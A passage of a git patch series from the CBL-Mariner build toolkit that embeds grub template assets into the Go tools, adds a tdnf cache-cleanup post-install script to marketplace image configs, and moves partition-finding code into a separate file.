b/toolkit/resources/manifests/package/toolchain_x86_64.txt index d30ae9faa5a..c0d77fd54a7 100644 --- a/toolkit/resources/manifests/package/toolchain_x86_64.txt +++ b/toolkit/resources/manifests/package/toolchain_x86_64.txt @@ -136,7 +136,7 @@ intltool-0.51.0-7.cm2.noarch.rpm itstool-2.0.6-4.cm2.noarch.rpm kbd-2.2.0-1.cm2.x86_64.rpm kbd-debuginfo-2.2.0-1.cm2.x86_64.rpm -kernel-headers-5.15.135.1-2.cm2.noarch.rpm +kernel-headers-5.15.137.1-1.cm2.noarch.rpm kmod-29-2.cm2.x86_64.rpm kmod-debuginfo-29-2.cm2.x86_64.rpm kmod-devel-29-2.cm2.x86_64.rpm From 09213dcaa24da710fc8c25f26beab14f2173b3cb Mon Sep 17 00:00:00 2001 From: Chris Gunn Date: Mon, 6 Nov 2023 15:59:35 -0800 Subject: [PATCH 07/34] Use embedded binary resources for grub templates. (#6682) --- toolkit/docs/formats/imageconfig.md | 2 +- .../resources/imageconfigs/iso_initrd.json | 5 -- .../imageconfigs/iso_initrd_arm64.json | 5 -- .../imagegen/installutils/installutils.go | 40 ++++++++------ toolkit/tools/imager/imager.go | 11 ++-- toolkit/tools/internal/file/file.go | 55 +++++++++++++++++-- .../resources/assets/efi/grub/grub.cfg | 0 .../resources/assets/efi/grub/grubEncrypt.cfg | 0 .../internal}/resources/assets/grub2/grub | 0 .../internal}/resources/assets/grub2/grub.cfg | 0 .../internal}/resources/assets/grub2/grubenv | 0 toolkit/tools/internal/resources/resources.go | 11 ++++ .../imagecustomizer_test.go | 6 +- .../tools/pkg/imagecustomizerlib/main_test.go | 2 - 14 files changed, 91 insertions(+), 46 deletions(-) rename toolkit/{ => tools/internal}/resources/assets/efi/grub/grub.cfg (100%) rename toolkit/{ => tools/internal}/resources/assets/efi/grub/grubEncrypt.cfg (100%) rename toolkit/{ => tools/internal}/resources/assets/grub2/grub (100%) rename toolkit/{ => tools/internal}/resources/assets/grub2/grub.cfg (100%) rename toolkit/{ => tools/internal}/resources/assets/grub2/grubenv (100%) create mode 100644 toolkit/tools/internal/resources/resources.go diff --git a/toolkit/docs/formats/imageconfig.md b/toolkit/docs/formats/imageconfig.md index ee64a0c303f..ac422a1f63f 100644 --- a/toolkit/docs/formats/imageconfig.md +++ b/toolkit/docs/formats/imageconfig.md @@ -400,7 +400,7 @@ ImaPolicy is a list of Integrity Measurement Architecture (IMA) policies to enab EnableFIPS is a optional boolean option that controls whether the image tools create the image with FIPS mode enabled or not. If EnableFIPS is specificed, only valid values are `true` and `false`. #### ExtraCommandLine -ExtraCommandLine is a string which will be appended to the end of the kernel command line and may contain any additional parameters desired. The `` ` `` character is reserved and may not be used. **Note: Some kernel command line parameters are already configured by default in [grub.cfg](../../resources/assets/grub2/grub.cfg). Many command line options may be overwritten by passing a new value. If a specific argument must be removed from the existing grub template a `FinalizeImageScript` is currently required. +ExtraCommandLine is a string which will be appended to the end of the kernel command line and may contain any additional parameters desired. The `` ` `` character is reserved and may not be used. **Note: Some kernel command line parameters are already configured by default in [grub.cfg](../../tools/internal/resources/assets/grub2/grub.cfg). Many command line options may be overwritten by passing a new value. If a specific argument must be removed from the existing grub template a `FinalizeImageScript` is currently required. #### SELinux The Security Enhanced Linux (SELinux) feature is enabled by using the `SELinux` key, with value containing the mode to use on boot. The `enforcing` and `permissive` values will set the mode in /etc/selinux/config. diff --git a/toolkit/resources/imageconfigs/iso_initrd.json b/toolkit/resources/imageconfigs/iso_initrd.json index 0ce0fe394de..dec25bad2ce 100644 --- a/toolkit/resources/imageconfigs/iso_initrd.json +++ b/toolkit/resources/imageconfigs/iso_initrd.json @@ -28,11 +28,6 @@ "AdditionalFiles": { "../../out/tools/imager": "/installer/imager", "../../out/tools/liveinstaller": "/installer/liveinstaller", - "../assets/efi/grub/grub.cfg": "/installer/efi/grub/grub.cfg", - "../assets/efi/grub/grubEncrypt.cfg": "/installer/efi/grub/grubEncrypt.cfg", - "../assets/grub2/grub.cfg": "/installer/grub2/grub.cfg", - "../assets/grub2/grub": "/installer/grub2/grub", - "../assets/grub2/grubenv": "/installer/grub2/grubenv", "additionalfiles/iso_initrd/init": "/init", "additionalfiles/iso_initrd/installer/calamares-EULA.txt": "/etc/calamares/mariner-eula", "additionalfiles/iso_initrd/installer/terminal-EULA.txt": "/installer/EULA.txt", diff --git a/toolkit/resources/imageconfigs/iso_initrd_arm64.json b/toolkit/resources/imageconfigs/iso_initrd_arm64.json index ca72912ea48..f1ac74ac024 100644 --- a/toolkit/resources/imageconfigs/iso_initrd_arm64.json +++ b/toolkit/resources/imageconfigs/iso_initrd_arm64.json @@ -23,11 +23,6 @@ "AdditionalFiles": { "../../out/tools/imager": "/installer/imager", "../../out/tools/liveinstaller": "/installer/liveinstaller", - "../assets/efi/grub/grub.cfg": "/installer/efi/grub/grub.cfg", - "../assets/efi/grub/grubEncrypt.cfg": "/installer/efi/grub/grubEncrypt.cfg", - "../assets/grub2/grub.cfg": "/installer/grub2/grub.cfg", - "../assets/grub2/grub": "/installer/grub2/grub", - "../assets/grub2/grubenv": "/installer/grub2/grubenv", "additionalfiles/iso_initrd/init": "/init", "additionalfiles/iso_initrd/installer/calamares-EULA.txt": "/etc/calamares/mariner-eula", "additionalfiles/iso_initrd/installer/terminal-EULA.txt": "/installer/EULA.txt", diff --git a/toolkit/tools/imagegen/installutils/installutils.go b/toolkit/tools/imagegen/installutils/installutils.go index 8678a768c99..96aeddfda36 100644 --- a/toolkit/tools/imagegen/installutils/installutils.go +++ b/toolkit/tools/imagegen/installutils/installutils.go @@ -22,6 +22,7 @@ import ( "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/logger" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/packagerepo/repocloner" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/pkgjson" + "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/resources" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/retry" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/safechroot" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/shell" @@ -934,14 +935,14 @@ func addEntryToCrypttab(installRoot string, devicePath string, encryptedRoot dis } // InstallGrubEnv installs an empty grubenv f -func InstallGrubEnv(installRoot, assetsDir string) (err error) { +func InstallGrubEnv(installRoot string) (err error) { const ( - assetGrubEnvFile = "grub2/grubenv" + assetGrubEnvFile = "assets/grub2/grubenv" grubEnvFile = "boot/grub2/grubenv" ) - assetGrubEnvFileFullPath := filepath.Join(assetsDir, assetGrubEnvFile) installGrubEnvFile := filepath.Join(installRoot, grubEnvFile) - err = file.CopyAndChangeMode(assetGrubEnvFileFullPath, installGrubEnvFile, bootDirectoryDirMode, bootDirectoryFileMode) + err = file.CopyResourceFile(resources.ResourcesFS, assetGrubEnvFile, installGrubEnvFile, bootDirectoryDirMode, + bootDirectoryFileMode) if err != nil { logger.Log.Warnf("Failed to copy and change mode of grubenv: %v", err) return @@ -961,26 +962,26 @@ func InstallGrubEnv(installRoot, assetsDir string) (err error) { // - isBootPartitionSeparate is a boolean value which is true if the /boot partition is separate from the root partition // Note: this boot partition could be different than the boot partition specified in the bootloader. // This boot partition specifically indicates where to find the kernel, config files, and initrd -func InstallGrubCfg(installRoot, rootDevice, bootUUID, bootPrefix, assetsDir string, encryptedRoot diskutils.EncryptedRootDevice, kernelCommandLine configuration.KernelCommandLine, readOnlyRoot diskutils.VerityDevice, isBootPartitionSeparate bool) (err error) { +func InstallGrubCfg(installRoot, rootDevice, bootUUID, bootPrefix string, encryptedRoot diskutils.EncryptedRootDevice, kernelCommandLine configuration.KernelCommandLine, readOnlyRoot diskutils.VerityDevice, isBootPartitionSeparate bool) (err error) { const ( - assetGrubcfgFile = "grub2/grub.cfg" + assetGrubcfgFile = "assets/grub2/grub.cfg" grubCfgFile = "boot/grub2/grub.cfg" - assetGrubDefFile = "grub2/grub" + assetGrubDefFile = "assets/grub2/grub" grubDefFile = "etc/default/grub" ) // Copy the bootloader's grub.cfg and set the file permission - assetGrubcfgFileFullPath := filepath.Join(assetsDir, assetGrubcfgFile) installGrubCfgFile := filepath.Join(installRoot, grubCfgFile) - assetGrubDefFileFullPath := filepath.Join(assetsDir, assetGrubDefFile) installGrubDefFile := filepath.Join(installRoot, grubDefFile) - err = file.CopyAndChangeMode(assetGrubcfgFileFullPath, installGrubCfgFile, bootDirectoryDirMode, bootDirectoryFileMode) + err = file.CopyResourceFile(resources.ResourcesFS, assetGrubcfgFile, installGrubCfgFile, bootDirectoryDirMode, + bootDirectoryFileMode) if err != nil { return } - err = file.CopyAndChangeMode(assetGrubDefFileFullPath, installGrubDefFile, bootDirectoryDirMode, bootDirectoryFileMode) + err = file.CopyResourceFile(resources.ResourcesFS, assetGrubDefFile, installGrubDefFile, bootDirectoryDirMode, + bootDirectoryFileMode) if err != nil { return } @@ -1618,7 +1619,9 @@ func getPackagesFromJSON(file string) (pkgList PackageList, err error) { // - bootUUID is the UUID of the boot partition // Note: this boot partition could be different than the boot partition specified in the main grub config. // This boot partition specifically indicates where to find the main grub cfg -func InstallBootloader(installChroot *safechroot.Chroot, encryptEnabled bool, bootType, bootUUID, bootPrefix, bootDevPath, assetsDir string) (err error) { +func InstallBootloader(installChroot *safechroot.Chroot, encryptEnabled bool, bootType, bootUUID, bootPrefix, + bootDevPath string, +) (err error) { const ( efiMountPoint = "/boot/efi" efiBootType = "efi" @@ -1636,7 +1639,7 @@ func InstallBootloader(installChroot *safechroot.Chroot, encryptEnabled bool, bo } case efiBootType: efiPath := filepath.Join(installChroot.RootDir(), efiMountPoint) - err = installEfiBootloader(encryptEnabled, efiPath, bootUUID, bootPrefix, assetsDir) + err = installEfiBootloader(encryptEnabled, efiPath, bootUUID, bootPrefix) if err != nil { return } @@ -1771,21 +1774,22 @@ func enableCryptoDisk() (err error) { // installRoot/boot/efi folder // It is expected that shim (bootx64.efi) and grub2 (grub2.efi) are installed // into the EFI directory via the package list installation mechanism. -func installEfiBootloader(encryptEnabled bool, installRoot, bootUUID, bootPrefix, assetsDir string) (err error) { +func installEfiBootloader(encryptEnabled bool, installRoot, bootUUID, bootPrefix string) (err error) { const ( defaultCfgFilename = "grub.cfg" encryptCfgFilename = "grubEncrypt.cfg" - grubAssetDir = "efi/grub" + grubAssetDir = "assets/efi/grub" grubFinalDir = "boot/grub2" ) // Copy the bootloader's grub.cfg - grubAssetPath := filepath.Join(assetsDir, grubAssetDir, defaultCfgFilename) + grubAssetPath := filepath.Join(grubAssetDir, defaultCfgFilename) if encryptEnabled { - grubAssetPath = filepath.Join(assetsDir, grubAssetDir, encryptCfgFilename) + grubAssetPath = filepath.Join(grubAssetDir, encryptCfgFilename) } grubFinalPath := filepath.Join(installRoot, grubFinalDir, defaultCfgFilename) - err = file.CopyAndChangeMode(grubAssetPath, grubFinalPath, bootDirectoryDirMode, bootDirectoryFileMode) + err = file.CopyResourceFile(resources.ResourcesFS, grubAssetPath, grubFinalPath, bootDirectoryDirMode, + bootDirectoryFileMode) if err != nil { logger.Log.Warnf("Failed to copy grub.cfg: %v", err) return diff --git a/toolkit/tools/imager/imager.go b/toolkit/tools/imager/imager.go index db08b6bf252..f390d1d9e07 100644 --- a/toolkit/tools/imager/imager.go +++ b/toolkit/tools/imager/imager.go @@ -62,8 +62,6 @@ const ( // kickstartPartitionFile is the file that includes the partitioning schema used by // kickstart installation kickstartPartitionFile = "/tmp/part-include" - - assetsMountPoint = "/installer" ) func main() { @@ -240,7 +238,6 @@ func buildSystemConfig(systemConfig configuration.SystemConfig, disks []configur timestamp.StartEvent("create offline install env", nil) // Create setup chroot additionalExtraMountPoints := []*safechroot.MountPoint{ - safechroot.NewMountPoint(*assets, assetsMountPoint, "", safechroot.BindMountPointFlags, ""), safechroot.NewMountPoint(*localRepo, localRepoMountPoint, "", safechroot.BindMountPointFlags, ""), safechroot.NewMountPoint(filepath.Dir(*repoFile), repoFileMountPoint, "", safechroot.BindMountPointFlags, ""), } @@ -687,7 +684,8 @@ func configureDiskBootloader(systemConfig configuration.SystemConfig, installChr } bootType := systemConfig.BootType - err = installutils.InstallBootloader(installChroot, systemConfig.Encryption.Enable, bootType, bootUUID, bootPrefix, diskDevPath, assetsMountPoint) + err = installutils.InstallBootloader(installChroot, systemConfig.Encryption.Enable, bootType, bootUUID, bootPrefix, + diskDevPath) if err != nil { err = fmt.Errorf("failed to install bootloader: %s", err) return @@ -723,13 +721,14 @@ func configureDiskBootloader(systemConfig configuration.SystemConfig, installChr } // Grub will always use filesystem UUID, never PARTUUID or PARTLABEL - err = installutils.InstallGrubCfg(installChroot.RootDir(), rootDevice, bootUUID, bootPrefix, assetsMountPoint, encryptedRoot, systemConfig.KernelCommandLine, readOnlyRoot, isBootPartitionSeparate) + err = installutils.InstallGrubCfg(installChroot.RootDir(), rootDevice, bootUUID, bootPrefix, encryptedRoot, + systemConfig.KernelCommandLine, readOnlyRoot, isBootPartitionSeparate) if err != nil { err = fmt.Errorf("failed to install main grub config file: %s", err) return } - err = installutils.InstallGrubEnv(installChroot.RootDir(), assetsMountPoint) + err = installutils.InstallGrubEnv(installChroot.RootDir()) if err != nil { err = fmt.Errorf("failed to install grubenv file: %s", err) return diff --git a/toolkit/tools/internal/file/file.go b/toolkit/tools/internal/file/file.go index 98d448e06b0..260f6389394 100644 --- a/toolkit/tools/internal/file/file.go +++ b/toolkit/tools/internal/file/file.go @@ -259,6 +259,25 @@ func copyWithPermissions(src, dst string, dirmode os.FileMode, changeMode bool, return fmt.Errorf("source (%s) is not a file", src) } + err = createDestinationDir(dst, dirmode) + if err != nil { + return + } + + err = shell.ExecuteLive(squashErrors, "cp", "--preserve=mode", src, dst) + if err != nil { + return + } + + if changeMode { + logger.Log.Debugf("Calling chmod on (%s) with the mode (%v)", dst, filemode) + err = os.Chmod(dst, filemode) + } + + return +} + +func createDestinationDir(dst string, dirmode os.FileMode) (err error) { isDstExist, err := PathExists(dst) if err != nil { return err @@ -282,15 +301,39 @@ func copyWithPermissions(src, dst string, dirmode os.FileMode, changeMode bool, } } - err = shell.ExecuteLive(squashErrors, "cp", "--preserve=mode", src, dst) + return +} + +// CopyResourceFile copies a file from an embedded binary resource file. +func CopyResourceFile(srcFS fs.FS, srcFile, dst string, dirmode os.FileMode, filemode os.FileMode) error { + logger.Log.Debugf("Copying resource (%s) -> (%s)", srcFile, dst) + + err := createDestinationDir(dst, dirmode) if err != nil { - return + return err } - if changeMode { - logger.Log.Debugf("Calling chmod on (%s) with the mode (%v)", dst, filemode) - err = os.Chmod(dst, filemode) + source, err := srcFS.Open(srcFile) + if err != nil { + return fmt.Errorf("failed to copy resource (%s) -> (%s):\nfailed to open source:\n%w", srcFile, dst, err) } + defer source.Close() - return + destination, err := os.OpenFile(dst, os.O_WRONLY|os.O_CREATE, filemode) + if err != nil { + return fmt.Errorf("failed to copy resource (%s) -> (%s):\nfailed to open destination:\n%w", srcFile, dst, err) + } + defer destination.Close() + + _, err = io.Copy(destination, source) + if err != nil { + return fmt.Errorf("failed to copy resource (%s) -> (%s):\nfailed to copy bytes:\n%w", srcFile, dst, err) + } + + err = os.Chmod(dst, filemode) + if err != nil { + return fmt.Errorf("failed to copy resource (%s) -> (%s):\nfailed to set filemode:\n%w", srcFile, dst, err) + } + + return nil } diff --git a/toolkit/resources/assets/efi/grub/grub.cfg b/toolkit/tools/internal/resources/assets/efi/grub/grub.cfg similarity index 100% rename from toolkit/resources/assets/efi/grub/grub.cfg rename to toolkit/tools/internal/resources/assets/efi/grub/grub.cfg diff --git a/toolkit/resources/assets/efi/grub/grubEncrypt.cfg b/toolkit/tools/internal/resources/assets/efi/grub/grubEncrypt.cfg similarity index 100% rename from toolkit/resources/assets/efi/grub/grubEncrypt.cfg rename to toolkit/tools/internal/resources/assets/efi/grub/grubEncrypt.cfg diff --git a/toolkit/resources/assets/grub2/grub b/toolkit/tools/internal/resources/assets/grub2/grub similarity index 100% rename from toolkit/resources/assets/grub2/grub rename to toolkit/tools/internal/resources/assets/grub2/grub diff --git a/toolkit/resources/assets/grub2/grub.cfg b/toolkit/tools/internal/resources/assets/grub2/grub.cfg similarity index 100% rename from toolkit/resources/assets/grub2/grub.cfg rename to toolkit/tools/internal/resources/assets/grub2/grub.cfg diff --git a/toolkit/resources/assets/grub2/grubenv b/toolkit/tools/internal/resources/assets/grub2/grubenv similarity index 100% rename from toolkit/resources/assets/grub2/grubenv rename to toolkit/tools/internal/resources/assets/grub2/grubenv diff --git a/toolkit/tools/internal/resources/resources.go b/toolkit/tools/internal/resources/resources.go new file mode 100644 index 00000000000..5518b7b718e --- /dev/null +++ b/toolkit/tools/internal/resources/resources.go @@ -0,0 +1,11 @@ +// Copyright (c) Microsoft Corporation. +// Licensed under the MIT License. + +package resources + +import ( + "embed" +) + +//go:embed assets +var ResourcesFS embed.FS diff --git a/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer_test.go b/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer_test.go index 8a1aeb962d7..723616a948e 100644 --- a/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer_test.go +++ b/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer_test.go @@ -292,18 +292,18 @@ func createFakeEfiImage(buildDir string) (string, error) { return "", fmt.Errorf("failed to format mount identifier:\n%w", err) } - err = installutils.InstallBootloader(imageChroot, false, "efi", osUuid, bootPrefix, "", assetsDir) + err = installutils.InstallBootloader(imageChroot, false, "efi", osUuid, bootPrefix, "") if err != nil { return "", fmt.Errorf("failed to install bootloader:\n%w", err) } - err = installutils.InstallGrubCfg(imageChroot.RootDir(), rootDevice, osUuid, bootPrefix, assetsDir, + err = installutils.InstallGrubCfg(imageChroot.RootDir(), rootDevice, osUuid, bootPrefix, diskutils.EncryptedRootDevice{}, configuration.KernelCommandLine{}, diskutils.VerityDevice{}, false) if err != nil { return "", fmt.Errorf("failed to install main grub config file:\n%w", err) } - err = installutils.InstallGrubEnv(imageChroot.RootDir(), assetsDir) + err = installutils.InstallGrubEnv(imageChroot.RootDir()) if err != nil { return "", fmt.Errorf("failed to install grubenv file:\n%w", err) } diff --git a/toolkit/tools/pkg/imagecustomizerlib/main_test.go b/toolkit/tools/pkg/imagecustomizerlib/main_test.go index d39ede97186..e8c780166f1 100644 --- a/toolkit/tools/pkg/imagecustomizerlib/main_test.go +++ b/toolkit/tools/pkg/imagecustomizerlib/main_test.go @@ -15,7 +15,6 @@ var ( testDir string tmpDir string workingDir string - assetsDir string ) func TestMain(m *testing.M) { @@ -30,7 +29,6 @@ func TestMain(m *testing.M) { testDir = filepath.Join(workingDir, "testdata") tmpDir = filepath.Join(workingDir, "_tmp") - assetsDir = filepath.Join(workingDir, "../../../resources/assets") err = os.MkdirAll(tmpDir, os.ModePerm) if err != nil { From c1a06bb534281b99cec8e39af28ae3ef1d5db4ef Mon Sep 17 00:00:00 2001 From: Mykhailo Bykhovtsev <108374904+mbykhovtsev-ms@users.noreply.github.com> Date: Mon, 6 Nov 2023 16:00:56 -0800 Subject: [PATCH 08/34] Add tdnf remove cache script and run it for marketplace images (#6446) --- .../{configure-image.sh => configure-systemd-networkd.sh} | 0 toolkit/imageconfigs/marketplace-gen1-fips.json | 5 ++++- toolkit/imageconfigs/marketplace-gen1.json | 5 ++++- toolkit/imageconfigs/marketplace-gen2-aarch64.json | 5 ++++- toolkit/imageconfigs/marketplace-gen2-fips.json | 5 ++++- toolkit/imageconfigs/marketplace-gen2.json | 5 ++++- .../imageconfigs/postinstallscripts/remove-tdnf-cache.sh | 6 ++++++ 7 files changed, 26 insertions(+), 5 deletions(-) rename toolkit/imageconfigs/additionalconfigs/{configure-image.sh => configure-systemd-networkd.sh} (100%) mode change 100755 => 100644 create mode 100644 toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh diff --git a/toolkit/imageconfigs/additionalconfigs/configure-image.sh b/toolkit/imageconfigs/additionalconfigs/configure-systemd-networkd.sh old mode 100755 new mode 100644 similarity index 100% rename from toolkit/imageconfigs/additionalconfigs/configure-image.sh rename to toolkit/imageconfigs/additionalconfigs/configure-systemd-networkd.sh diff --git a/toolkit/imageconfigs/marketplace-gen1-fips.json b/toolkit/imageconfigs/marketplace-gen1-fips.json index ed2d1d36614..237e4e8a120 100644 --- a/toolkit/imageconfigs/marketplace-gen1-fips.json +++ b/toolkit/imageconfigs/marketplace-gen1-fips.json @@ -66,7 +66,10 @@ }, "PostInstallScripts": [ { - "Path": "additionalconfigs/configure-image.sh" + "Path": "additionalconfigs/configure-systemd-networkd.sh" + }, + { + "Path": "postinstallscripts/remove-tdnf-cache.sh" } ], "KernelOptions": { diff --git a/toolkit/imageconfigs/marketplace-gen1.json b/toolkit/imageconfigs/marketplace-gen1.json index 7b7008b63d5..962ae5c1fd6 100644 --- a/toolkit/imageconfigs/marketplace-gen1.json +++ b/toolkit/imageconfigs/marketplace-gen1.json @@ -65,7 +65,10 @@ }, "PostInstallScripts": [ { - "Path": "additionalconfigs/configure-image.sh" + "Path": "additionalconfigs/configure-systemd-networkd.sh" + }, + { + "Path": "postinstallscripts/remove-tdnf-cache.sh" } ], "KernelOptions": { diff --git a/toolkit/imageconfigs/marketplace-gen2-aarch64.json b/toolkit/imageconfigs/marketplace-gen2-aarch64.json index 961f45d24a5..58667f26e10 100644 --- a/toolkit/imageconfigs/marketplace-gen2-aarch64.json +++ b/toolkit/imageconfigs/marketplace-gen2-aarch64.json @@ -68,7 +68,10 @@ }, "PostInstallScripts": [ { - "Path": "additionalconfigs/configure-image.sh" + "Path": "additionalconfigs/configure-systemd-networkd.sh" + }, + { + "Path": "postinstallscripts/remove-tdnf-cache.sh" } ], "KernelOptions": { diff --git a/toolkit/imageconfigs/marketplace-gen2-fips.json b/toolkit/imageconfigs/marketplace-gen2-fips.json index f82c01bee45..1b36c52b1fd 100644 --- a/toolkit/imageconfigs/marketplace-gen2-fips.json +++ b/toolkit/imageconfigs/marketplace-gen2-fips.json @@ -69,7 +69,10 @@ }, "PostInstallScripts": [ { - "Path": "additionalconfigs/configure-image.sh" + "Path": "additionalconfigs/configure-systemd-networkd.sh" + }, + { + "Path": "postinstallscripts/remove-tdnf-cache.sh" } ], "KernelOptions": { diff --git a/toolkit/imageconfigs/marketplace-gen2.json b/toolkit/imageconfigs/marketplace-gen2.json index b32420f421c..24b201507bc 100644 --- a/toolkit/imageconfigs/marketplace-gen2.json +++ b/toolkit/imageconfigs/marketplace-gen2.json @@ -68,7 +68,10 @@ }, "PostInstallScripts": [ { - "Path": "additionalconfigs/configure-image.sh" + "Path": "additionalconfigs/configure-systemd-networkd.sh" + }, + { + "Path": "postinstallscripts/remove-tdnf-cache.sh" } ], "KernelOptions": { diff --git a/toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh b/toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh new file mode 100644 index 00000000000..68a561d4d19 --- /dev/null +++ b/toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh @@ -0,0 +1,6 @@ +# Copyright (c) Microsoft Corporation. +# Licensed under the MIT License. + +echo removing tdnf cache +tdnf -y clean all +rm -rf /var/cache/tdnf From 712995da4c86fb701a23388b80fe443e86656b9e Mon Sep 17 00:00:00 2001 From: Chris Gunn Date: Mon, 6 Nov 2023 16:20:08 -0800 Subject: [PATCH 09/34] Image Customizer: Move partition utils into their own file. (#6685) --- .../pkg/imagecustomizerlib/imagecustomizer.go | 340 ----------------- .../pkg/imagecustomizerlib/partitionutils.go | 355 ++++++++++++++++++ 2 files changed, 355 insertions(+), 340 deletions(-) create mode 100644 toolkit/tools/pkg/imagecustomizerlib/partitionutils.go diff --git a/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer.go b/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer.go index afcdcee9fdb..bd72cdeee58 100644 --- a/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer.go +++ b/toolkit/tools/pkg/imagecustomizerlib/imagecustomizer.go @@ -7,15 +7,11 @@ import ( "fmt" "os" "path/filepath" - "regexp" - "strings" "github.com/microsoft/CBL-Mariner/toolkit/tools/imagecustomizerapi" - "github.com/microsoft/CBL-Mariner/toolkit/tools/imagegen/diskutils" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/file" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/safechroot" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/safeloopback" - "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/safemount" "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/shell" ) @@ -27,9 +23,6 @@ var ( // Version specifies the version of the Mariner Image Customizer tool. // The value of this string is inserted during compilation via a linker flag. ToolVersion = "" - - bootPartitionRegex = regexp.MustCompile(`(?m)^search -n -u ([a-zA-Z0-9\-]+) -s$`) - rootfsPartitionRegex = regexp.MustCompile(`(?m)^set rootdevice=([A-Z]*)=([a-zA-Z0-9\-]+)$`) ) func CustomizeImageWithConfigFile(buildDir string, configFile string, imageFile string, @@ -240,336 +233,3 @@ func customizeImageHelper(buildDir string, baseConfigPath string, config *imagec return nil } - -func findPartitions(buildDir string, diskDevice string) ([]string, []*safechroot.MountPoint, error) { - var err error - - diskPartitions, err := diskutils.GetDiskPartitions(diskDevice) - if err != nil { - return nil, nil, err - } - - systemBootPartition, err := findSystemBootPartition(diskPartitions) - if err != nil { - return nil, nil, err - } - - var rootfsPartition *diskutils.PartitionInfo - - switch systemBootPartition.PartitionTypeUuid { - case diskutils.EfiSystemPartitionTypeUuid: - rootfsPartition, err = findRootfsPartitionFromEsp(systemBootPartition, diskPartitions, buildDir) - if err != nil { - return nil, nil, err - } - - case diskutils.BiosBootPartitionTypeUuid: - rootfsPartition, err = findRootfsPartitionFromBiosBootPartition(systemBootPartition, diskPartitions, buildDir) - if err != nil { - return nil, nil, err - } - } - - mountPoints, err := findMountsFromRootfs(rootfsPartition, diskPartitions, buildDir) - if err != nil { - return nil, nil, err - } - - return nil, mountPoints, nil -} - -func findSystemBootPartition(diskPartitions []diskutils.PartitionInfo) (*diskutils.PartitionInfo, error) { - // Look for all system boot partitions, including both EFI System Paritions (ESP) and BIOS boot partitions. - var bootPartitions []*diskutils.PartitionInfo - for i := range diskPartitions { - diskPartition := diskPartitions[i] - - switch diskPartition.PartitionTypeUuid { - case diskutils.EfiSystemPartitionTypeUuid, diskutils.BiosBootPartitionTypeUuid: - bootPartitions = append(bootPartitions, &diskPartition) - } - } - - if len(bootPartitions) > 1 { - return nil, fmt.Errorf("found more than one boot partition (ESP or BIOS boot parititon)") - } else if len(bootPartitions) < 1 { - return nil, fmt.Errorf("failed to find boot partition (ESP or BIOS boot parititon)") - } - - bootPartition := bootPartitions[0] - return bootPartition, nil -} - -func findRootfsPartitionFromEsp(efiSystemPartition *diskutils.PartitionInfo, diskPartitions []diskutils.PartitionInfo, buildDir string) (*diskutils.PartitionInfo, error) { - tmpDir := filepath.Join(buildDir, tmpParitionDirName) - - // Mount the EFI System Partition. - efiSystemPartitionMount, err := safemount.NewMount(efiSystemPartition.Path, tmpDir, efiSystemPartition.FileSystemType, 0, "", true) - if err != nil { - return nil, fmt.Errorf("failed to mount EFI system partition:\n%w", err) - } - defer efiSystemPartitionMount.Close() - - // Read the grub.cfg file. - grubConfigFilePath := filepath.Join(tmpDir, "boot/grub2/grub.cfg") - grubConfigFile, err := os.ReadFile(grubConfigFilePath) - if err != nil { - return nil, fmt.Errorf("failed to read grub.cfg file:\n%w", err) - } - - // Close the EFI System Partition mount. - err = efiSystemPartitionMount.CleanClose() - if err != nil { - return nil, fmt.Errorf("failed to close EFI system partition mount:\n%w", err) - } - - // Look for the bootloader partition declaration line in the grub.cfg file. - match := bootPartitionRegex.FindStringSubmatch(string(grubConfigFile)) - if match == nil { - return nil, fmt.Errorf("failed to find boot partition in grub.cfg file") - } - - bootPartitionUuid := match[1] - - var bootPartition *diskutils.PartitionInfo - for i := range diskPartitions { - diskPartition := diskPartitions[i] - - if diskPartition.Uuid == bootPartitionUuid { - bootPartition = &diskPartition - break - } - } - - if bootPartition == nil { - return nil, fmt.Errorf("failed to find boot partition with UUID (%s)", bootPartitionUuid) - } - - rootfsPartition, err := tryFindRootfsPartitionFromBootPartition(bootPartition, diskPartitions, buildDir) - if err != nil { - return nil, err - } - - if rootfsPartition == nil { - return nil, fmt.Errorf("failed to find rootfs partition using boot partition (%s)", bootPartition.Name) - } - - return rootfsPartition, nil -} - -func findRootfsPartitionFromBiosBootPartition(biosBootLoaderPartition *diskutils.PartitionInfo, - diskPartitions []diskutils.PartitionInfo, buildDir string, -) (*diskutils.PartitionInfo, error) { - - // The BIOS boot parition is just an executable blob that is uniquely built for each system/disk. - // So, there is not much that can be done to reliably extract the boot loader partition from it. - // So, instead, find the boot partition through brute force. - - var rootfsPartitions []*diskutils.PartitionInfo - for i := range diskPartitions { - diskPartition := diskPartitions[i] - - switch diskPartition.FileSystemType { - case "ext4", "vfat", "xfs": - - default: - // Skips file system types that aren't known to support the boot loader partition. - // (This list may be incomplete.) - continue - } - - rootfsPartition, err := tryFindRootfsPartitionFromBootPartition(&diskPartition, diskPartitions, buildDir) - if err != nil { - return nil, err - } - - if rootfsPartition != nil { - rootfsPartitions = append(rootfsPartitions, rootfsPartition) - } - } - - if len(rootfsPartitions) > 1 { - return nil, fmt.Errorf("found too many rootfs partition candidates (%d)", len(rootfsPartitions)) - } else if len(rootfsPartitions) < 1 { - return nil, fmt.Errorf("failed to find rootfs partition") - } - - rootfsPartition := rootfsPartitions[0] - return rootfsPartition, nil -} - -func tryFindRootfsPartitionFromBootPartition(bootPartition *diskutils.PartitionInfo, - diskPartitions []diskutils.PartitionInfo, buildDir string, -) 